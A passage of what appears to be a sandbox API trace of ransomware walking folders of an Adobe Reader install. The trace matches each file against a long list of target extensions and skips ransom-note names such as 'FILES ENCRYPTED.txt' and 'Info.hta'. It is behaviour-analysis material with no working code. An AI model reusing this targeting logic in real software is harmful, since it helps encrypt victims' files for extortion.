ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0270.472] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0270.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0270.472] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0270.472] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0270.472] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42c0fd8 | out: hHeap=0x670000) returned 1 [0270.475] FindNextFileW (in: hFindFile=0x6cf6c8, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1 [0270.516] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42c0fd8 [0270.516] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs") returned 91 [0270.516] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\*", lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0270.517] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.517] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery.ui.touch-punch", cAlternateFileName="JQUERY~1.TOU")) returned 1 [0270.517] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch") returned 113 [0270.517] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch") returned 1 [0270.517] lstrlenW (lpString="jquery.ui.touch-punch") returned 21 [0270.517] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="jquery.ui.touch-punch") returned -1 [0270.517] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0270.518] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch") returned 113 [0270.518] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\*", lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0270.518] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.518] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x2e8e420 | out: lpFindFileData=0x2e8e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 1 [0270.518] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2") returned 119 [0270.518] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2") returned 1 [0270.518] lstrlenW (lpString="0.2.2") returned 5 [0270.518] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="0.2.2") returned 1 [0270.518] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0270.519] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2") returned 119 [0270.519] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\*", lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0270.519] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0270.519] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 1 [0270.519] lstrlenW (lpString="jquery.ui.touch-punch.js") returned 24 [0270.519] lstrlenW (lpString=".1cd") returned 4 [0270.519] lstrcmpiW (lpString1=".1cd", lpString2="h.js") returned -1 [0270.519] lstrlenW (lpString=".3ds") returned 4 [0270.519] lstrcmpiW (lpString1=".3ds", lpString2="h.js") returned -1 [0270.519] lstrlenW (lpString=".3fr") returned 4 [0270.519] lstrcmpiW (lpString1=".3fr", lpString2="h.js") returned -1 [0270.519] lstrlenW (lpString=".3g2") returned 4 [0270.519] lstrcmpiW (lpString1=".3g2", lpString2="h.js") returned -1 [0270.519] lstrlenW (lpString=".3gp") returned 4 [0270.520] lstrcmpiW (lpString1=".3gp", lpString2="h.js") returned -1 [0270.520] lstrlenW (lpString=".7z") returned 3 [0270.520] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0270.520] lstrlenW (lpString=".accda") returned 6 [0270.520] lstrcmpiW (lpString1=".accda", lpString2="nch.js") returned -1 [0270.520] lstrlenW (lpString=".accdb") returned 6 [0270.520] lstrcmpiW (lpString1=".accdb", lpString2="nch.js") returned -1 [0270.520] lstrlenW (lpString=".accdc") returned 6 [0270.520] lstrcmpiW (lpString1=".accdc", lpString2="nch.js") returned -1 [0270.520] lstrlenW (lpString=".accde") returned 6 [0270.520] lstrcmpiW (lpString1=".accde", lpString2="nch.js") returned -1 [0270.520] lstrlenW (lpString=".accdt") returned 6 [0270.520] lstrcmpiW (lpString1=".accdt", lpString2="nch.js") returned -1 [0270.520] lstrlenW (lpString=".accdw") returned 6 [0270.520] lstrcmpiW (lpString1=".accdw", lpString2="nch.js") returned -1 [0270.520] lstrlenW (lpString=".adb") returned 4 [0270.520] lstrcmpiW (lpString1=".adb", lpString2="h.js") returned -1 [0270.520] lstrlenW (lpString=".adp") returned 4 [0270.520] lstrcmpiW (lpString1=".adp", lpString2="h.js") returned -1 [0270.520] lstrlenW (lpString=".ai") returned 3 [0270.520] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0270.520] lstrlenW (lpString=".ai3") returned 4 [0270.521] lstrcmpiW (lpString1=".ai3", lpString2="h.js") returned -1 [0270.521] lstrlenW (lpString=".ai4") returned 4 [0270.521] lstrcmpiW (lpString1=".ai4", lpString2="h.js") returned -1 [0270.521] lstrlenW (lpString=".ai5") returned 4 [0270.521] lstrcmpiW (lpString1=".ai5", lpString2="h.js") returned -1 [0270.521] lstrlenW (lpString=".ai6") returned 4 [0270.521] lstrcmpiW (lpString1=".ai6", lpString2="h.js") returned -1 [0270.521] lstrlenW (lpString=".ai7") returned 4 [0270.521] lstrcmpiW (lpString1=".ai7", lpString2="h.js") returned -1 [0270.521] lstrlenW (lpString=".ai8") returned 4 [0270.521] lstrcmpiW (lpString1=".ai8", lpString2="h.js") returned -1 [0270.521] lstrlenW (lpString=".anim") returned 5 [0270.521] lstrcmpiW (lpString1=".anim", lpString2="ch.js") returned -1 [0270.521] lstrlenW (lpString=".arw") returned 4 [0270.521] lstrcmpiW (lpString1=".arw", lpString2="h.js") returned -1 [0270.521] lstrlenW (lpString=".as") returned 3 [0270.521] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0270.521] lstrlenW (lpString=".asa") returned 4 [0270.522] lstrcmpiW (lpString1=".asa", lpString2="h.js") returned -1 [0270.522] lstrlenW (lpString=".asc") returned 4 [0270.522] lstrcmpiW (lpString1=".asc", lpString2="h.js") returned -1 [0270.522] lstrlenW (lpString=".ascx") returned 5 [0270.522] lstrcmpiW (lpString1=".ascx", lpString2="ch.js") returned -1 [0270.522] lstrlenW (lpString=".asm") returned 4 [0270.522] lstrcmpiW (lpString1=".asm", lpString2="h.js") returned -1 [0270.522] lstrlenW (lpString=".asmx") returned 5 [0270.522] lstrcmpiW (lpString1=".asmx", lpString2="ch.js") returned -1 [0270.522] lstrlenW (lpString=".asp") returned 4 [0270.522] lstrcmpiW (lpString1=".asp", lpString2="h.js") returned -1 [0270.522] lstrlenW (lpString=".aspx") returned 5 [0270.522] lstrcmpiW (lpString1=".aspx", lpString2="ch.js") returned -1 [0270.522] lstrlenW (lpString=".asr") returned 4 [0270.522] lstrcmpiW (lpString1=".asr", lpString2="h.js") returned -1 [0270.522] lstrlenW (lpString=".asx") returned 4 [0270.522] lstrcmpiW (lpString1=".asx", lpString2="h.js") returned -1 [0270.522] lstrlenW (lpString=".avi") returned 4 [0270.522] lstrcmpiW (lpString1=".avi", lpString2="h.js") returned -1 [0270.522] lstrlenW (lpString=".avs") returned 4 [0270.522] lstrcmpiW (lpString1=".avs", lpString2="h.js") returned -1 [0270.522] lstrlenW (lpString=".backup") returned 7 [0270.522] lstrcmpiW (lpString1=".backup", lpString2="unch.js") returned -1 [0270.523] lstrlenW (lpString=".bak") returned 4 [0270.523] lstrcmpiW (lpString1=".bak", lpString2="h.js") returned -1 [0270.523] lstrlenW (lpString=".bay") returned 4 [0270.523] lstrcmpiW (lpString1=".bay", lpString2="h.js") returned -1 [0270.523] lstrlenW (lpString=".bd") returned 3 [0270.523] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0270.523] lstrlenW (lpString=".bin") returned 4 [0270.523] lstrcmpiW (lpString1=".bin", lpString2="h.js") returned -1 [0270.523] lstrlenW (lpString=".bmp") returned 4 [0270.523] lstrcmpiW (lpString1=".bmp", lpString2="h.js") returned -1 [0270.523] lstrlenW (lpString=".bz2") returned 4 [0270.523] lstrcmpiW (lpString1=".bz2", lpString2="h.js") returned -1 [0270.523] lstrlenW (lpString=".c") returned 2 [0270.523] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0270.523] lstrlenW (lpString=".cdr") returned 4 [0270.523] lstrcmpiW (lpString1=".cdr", lpString2="h.js") returned -1 [0270.523] lstrlenW (lpString=".cer") returned 4 [0270.523] lstrcmpiW (lpString1=".cer", lpString2="h.js") returned -1 [0270.523] lstrlenW (lpString=".cf") returned 3 [0270.523] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0270.523] lstrlenW (lpString=".cfc") returned 4 [0270.523] lstrcmpiW (lpString1=".cfc", lpString2="h.js") returned -1 [0270.523] lstrlenW (lpString=".cfm") returned 4 [0270.523] lstrcmpiW (lpString1=".cfm", lpString2="h.js") returned -1 [0270.524] lstrlenW (lpString=".cfml") returned 5 [0270.524] lstrcmpiW (lpString1=".cfml", lpString2="ch.js") returned -1 [0270.524] lstrlenW (lpString=".cfu") returned 4 [0270.524] lstrcmpiW (lpString1=".cfu", lpString2="h.js") returned -1 [0270.524] lstrlenW (lpString=".chm") returned 4 [0270.524] lstrcmpiW (lpString1=".chm", lpString2="h.js") returned -1 [0270.524] lstrlenW (lpString=".cin") returned 4 [0270.524] lstrcmpiW (lpString1=".cin", lpString2="h.js") returned -1 [0270.524] lstrlenW (lpString=".class") returned 6 [0270.524] lstrcmpiW (lpString1=".class", lpString2="nch.js") returned -1 [0270.524] lstrlenW (lpString=".clx") returned 4 [0270.524] lstrcmpiW (lpString1=".clx", lpString2="h.js") returned -1 [0270.524] lstrlenW (lpString=".config") returned 7 [0270.524] lstrcmpiW (lpString1=".config", lpString2="unch.js") returned -1 [0270.524] lstrlenW (lpString=".cpp") returned 4 [0270.524] lstrcmpiW (lpString1=".cpp", lpString2="h.js") returned -1 [0270.524] lstrlenW (lpString=".cr2") returned 4 [0270.524] lstrcmpiW (lpString1=".cr2", lpString2="h.js") returned -1 [0270.525] lstrlenW (lpString=".crt") returned 4 [0270.525] lstrcmpiW (lpString1=".crt", lpString2="h.js") returned -1 [0270.525] lstrlenW (lpString=".crw") returned 4 [0270.525] lstrcmpiW (lpString1=".crw", lpString2="h.js") returned -1 [0270.525] lstrlenW (lpString=".cs") returned 3 [0270.525] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0270.525] lstrlenW (lpString=".css") returned 4 [0270.525] lstrcmpiW (lpString1=".css", lpString2="h.js") returned -1 [0270.525] lstrlenW (lpString=".csv") returned 4 [0270.525] lstrcmpiW (lpString1=".csv", lpString2="h.js") returned -1 [0270.525] lstrlenW (lpString=".cub") returned 4 [0270.525] lstrcmpiW (lpString1=".cub", lpString2="h.js") returned -1 [0270.525] lstrlenW (lpString=".dae") returned 4 [0270.525] lstrcmpiW (lpString1=".dae", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".dat") returned 4 [0270.526] lstrcmpiW (lpString1=".dat", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".db") returned 3 [0270.526] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0270.526] lstrlenW (lpString=".dbf") returned 4 [0270.526] lstrcmpiW (lpString1=".dbf", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".dbx") returned 4 [0270.526] lstrcmpiW (lpString1=".dbx", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".dc3") returned 4 [0270.526] lstrcmpiW (lpString1=".dc3", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".dcm") returned 4 [0270.526] lstrcmpiW (lpString1=".dcm", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".dcr") returned 4 [0270.526] lstrcmpiW (lpString1=".dcr", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".der") returned 4 [0270.526] lstrcmpiW (lpString1=".der", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".dib") returned 4 [0270.526] lstrcmpiW (lpString1=".dib", lpString2="h.js") returned -1 [0270.526] lstrlenW (lpString=".dic") returned 4 [0270.527] lstrcmpiW (lpString1=".dic", lpString2="h.js") returned -1 [0270.527] lstrlenW (lpString=".dif") returned 4 [0270.527] lstrcmpiW (lpString1=".dif", lpString2="h.js") returned -1 [0270.527] lstrlenW (lpString=".divx") returned 5 [0270.527] lstrcmpiW (lpString1=".divx", lpString2="ch.js") returned -1 [0270.527] lstrlenW (lpString=".djvu") returned 5 [0270.527] lstrcmpiW (lpString1=".djvu", lpString2="ch.js") returned -1 [0270.527] lstrlenW (lpString=".dng") returned 4 [0270.527] lstrcmpiW (lpString1=".dng", lpString2="h.js") returned -1 [0270.527] lstrlenW (lpString=".doc") returned 4 [0270.527] lstrcmpiW (lpString1=".doc", lpString2="h.js") returned -1 [0270.528] lstrlenW (lpString=".docm") returned 5 [0270.528] lstrcmpiW (lpString1=".docm", lpString2="ch.js") returned -1 [0270.528] lstrlenW (lpString=".docx") returned 5 [0270.528] lstrcmpiW (lpString1=".docx", lpString2="ch.js") returned -1 [0270.528] lstrlenW (lpString=".dot") returned 4 [0270.528] lstrcmpiW (lpString1=".dot", lpString2="h.js") returned -1 [0270.528] lstrlenW (lpString=".dotm") returned 5 [0270.528] lstrcmpiW (lpString1=".dotm", lpString2="ch.js") returned -1 [0270.528] lstrlenW (lpString=".dotx") returned 5 [0270.528] lstrcmpiW (lpString1=".dotx", lpString2="ch.js") returned -1 [0270.528] lstrlenW (lpString=".dpx") returned 4 [0270.528] lstrcmpiW (lpString1=".dpx", lpString2="h.js") returned -1 [0270.528] lstrlenW (lpString=".dqy") returned 4 [0270.528] lstrcmpiW (lpString1=".dqy", lpString2="h.js") returned -1 [0270.528] lstrlenW (lpString=".dsn") returned 4 [0270.528] lstrcmpiW (lpString1=".dsn", lpString2="h.js") returned -1 [0270.528] lstrlenW (lpString=".dt") returned 3 [0270.528] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0270.528] lstrlenW (lpString=".dtd") returned 4 [0270.528] lstrcmpiW (lpString1=".dtd", lpString2="h.js") returned -1 [0270.528] lstrlenW (lpString=".dwg") returned 4 [0270.528] lstrcmpiW (lpString1=".dwg", lpString2="h.js") returned -1 [0270.528] lstrlenW (lpString=".dwt") returned 4 [0270.528] lstrcmpiW (lpString1=".dwt", lpString2="h.js") returned -1 [0270.529] lstrlenW (lpString=".dx") returned 3 [0270.529] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0270.529] lstrlenW (lpString=".dxf") returned 4 [0270.529] lstrcmpiW (lpString1=".dxf", lpString2="h.js") returned -1 [0270.529] lstrlenW (lpString=".edml") returned 5 [0270.529] lstrcmpiW (lpString1=".edml", lpString2="ch.js") returned -1 [0270.529] lstrlenW (lpString=".efd") returned 4 [0270.529] lstrcmpiW (lpString1=".efd", lpString2="h.js") returned -1 [0270.529] lstrlenW (lpString=".elf") returned 4 [0270.529] lstrcmpiW (lpString1=".elf", lpString2="h.js") returned -1 [0270.529] lstrlenW (lpString=".emf") returned 4 [0270.529] lstrcmpiW (lpString1=".emf", lpString2="h.js") returned -1 [0270.529] lstrlenW (lpString=".emz") returned 4 [0270.529] lstrcmpiW (lpString1=".emz", lpString2="h.js") returned -1 [0270.529] lstrlenW (lpString=".epf") returned 4 [0270.529] lstrcmpiW (lpString1=".epf", lpString2="h.js") returned -1 [0270.529] lstrlenW (lpString=".eps") returned 4 [0270.529] lstrcmpiW (lpString1=".eps", lpString2="h.js") returned -1 [0270.529] lstrlenW (lpString=".epsf") returned 5 [0270.529] lstrcmpiW (lpString1=".epsf", lpString2="ch.js") returned -1 [0270.529] lstrlenW (lpString=".epsp") returned 5 [0270.529] lstrcmpiW (lpString1=".epsp", lpString2="ch.js") returned -1 [0270.529] lstrlenW (lpString=".erf") returned 4 [0270.529] lstrcmpiW (lpString1=".erf", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".exr") returned 4 [0270.530] lstrcmpiW (lpString1=".exr", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".f4v") returned 4 [0270.530] lstrcmpiW (lpString1=".f4v", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".fido") returned 5 [0270.530] lstrcmpiW (lpString1=".fido", lpString2="ch.js") returned -1 [0270.530] lstrlenW (lpString=".flm") returned 4 [0270.530] lstrcmpiW (lpString1=".flm", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".flv") returned 4 [0270.530] lstrcmpiW (lpString1=".flv", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".frm") returned 4 [0270.530] lstrcmpiW (lpString1=".frm", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".fxg") returned 4 [0270.530] lstrcmpiW (lpString1=".fxg", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".geo") returned 4 [0270.530] lstrcmpiW (lpString1=".geo", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".gif") returned 4 [0270.530] lstrcmpiW (lpString1=".gif", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".grs") returned 4 [0270.530] lstrcmpiW (lpString1=".grs", lpString2="h.js") returned -1 [0270.530] lstrlenW (lpString=".gz") returned 3 [0270.530] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0270.530] lstrlenW (lpString=".h") returned 2 [0270.530] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0270.530] lstrlenW (lpString=".hdr") returned 4 [0270.531] lstrcmpiW (lpString1=".hdr", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".hpp") returned 4 [0270.531] lstrcmpiW (lpString1=".hpp", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".hta") returned 4 [0270.531] lstrcmpiW (lpString1=".hta", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".htc") returned 4 [0270.531] lstrcmpiW (lpString1=".htc", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".htm") returned 4 [0270.531] lstrcmpiW (lpString1=".htm", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".html") returned 5 [0270.531] lstrcmpiW (lpString1=".html", lpString2="ch.js") returned -1 [0270.531] lstrlenW (lpString=".icb") returned 4 [0270.531] lstrcmpiW (lpString1=".icb", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".ics") returned 4 [0270.531] lstrcmpiW (lpString1=".ics", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".iff") returned 4 [0270.531] lstrcmpiW (lpString1=".iff", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".inc") returned 4 [0270.531] lstrcmpiW (lpString1=".inc", lpString2="h.js") returned -1 [0270.531] lstrlenW (lpString=".indd") returned 5 [0270.531] lstrcmpiW (lpString1=".indd", lpString2="ch.js") returned -1 [0270.532] lstrlenW (lpString=".ini") returned 4 [0270.532] lstrcmpiW (lpString1=".ini", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".iqy") returned 4 [0270.532] lstrcmpiW (lpString1=".iqy", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".j2c") returned 4 [0270.532] lstrcmpiW (lpString1=".j2c", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".j2k") returned 4 [0270.532] lstrcmpiW (lpString1=".j2k", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".java") returned 5 [0270.532] lstrcmpiW (lpString1=".java", lpString2="ch.js") returned -1 [0270.532] lstrlenW (lpString=".jp2") returned 4 [0270.532] lstrcmpiW (lpString1=".jp2", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".jpc") returned 4 [0270.532] lstrcmpiW (lpString1=".jpc", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".jpe") returned 4 [0270.532] lstrcmpiW (lpString1=".jpe", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".jpeg") returned 5 [0270.532] lstrcmpiW (lpString1=".jpeg", lpString2="ch.js") returned -1 [0270.532] lstrlenW (lpString=".jpf") returned 4 [0270.532] lstrcmpiW (lpString1=".jpf", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".jpg") returned 4 [0270.532] lstrcmpiW (lpString1=".jpg", lpString2="h.js") returned -1 [0270.532] lstrlenW (lpString=".jpx") returned 4 [0270.532] lstrcmpiW (lpString1=".jpx", lpString2="h.js") returned -1 [0270.533] lstrlenW (lpString=".js") returned 3 [0270.533] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0270.533] lstrlenW (lpString="jquery.ui.touch-punch.js") returned 24 [0270.533] lstrlenW (lpString=".love$") returned 6 [0270.533] lstrcmpiW (lpString1=".love$", lpString2="nch.js") returned -1 [0270.533] lstrlenW (lpString="jquery.ui.touch-punch.js") returned 24 [0270.533] lstrcmpiW (lpString1="boot.ini", lpString2="jquery.ui.touch-punch.js") returned -1 [0270.533] lstrcmpiW (lpString1="bootfont.bin", lpString2="jquery.ui.touch-punch.js") returned -1 [0270.533] lstrcmpiW (lpString1="ntldr", lpString2="jquery.ui.touch-punch.js") returned 1 [0270.533] lstrcmpiW (lpString1="ntdetect.com", lpString2="jquery.ui.touch-punch.js") returned 1 [0270.533] lstrcmpiW (lpString1="io.sys", lpString2="jquery.ui.touch-punch.js") returned -1 [0270.533] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="jquery.ui.touch-punch.js") returned -1 [0270.533] lstrcmpiW (lpString1="Info.hta", lpString2="jquery.ui.touch-punch.js") returned -1 [0270.533] lstrcmpiW (lpString1="finbbp.exe", lpString2="jquery.ui.touch-punch.js") returned -1 [0270.533] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\jquery.ui.touch-punch\\0.2.2\\jquery.ui.touch-punch.js") returned 144 [0270.533] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x2e8e1a4 | out: lpFindFileData=0x2e8e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, 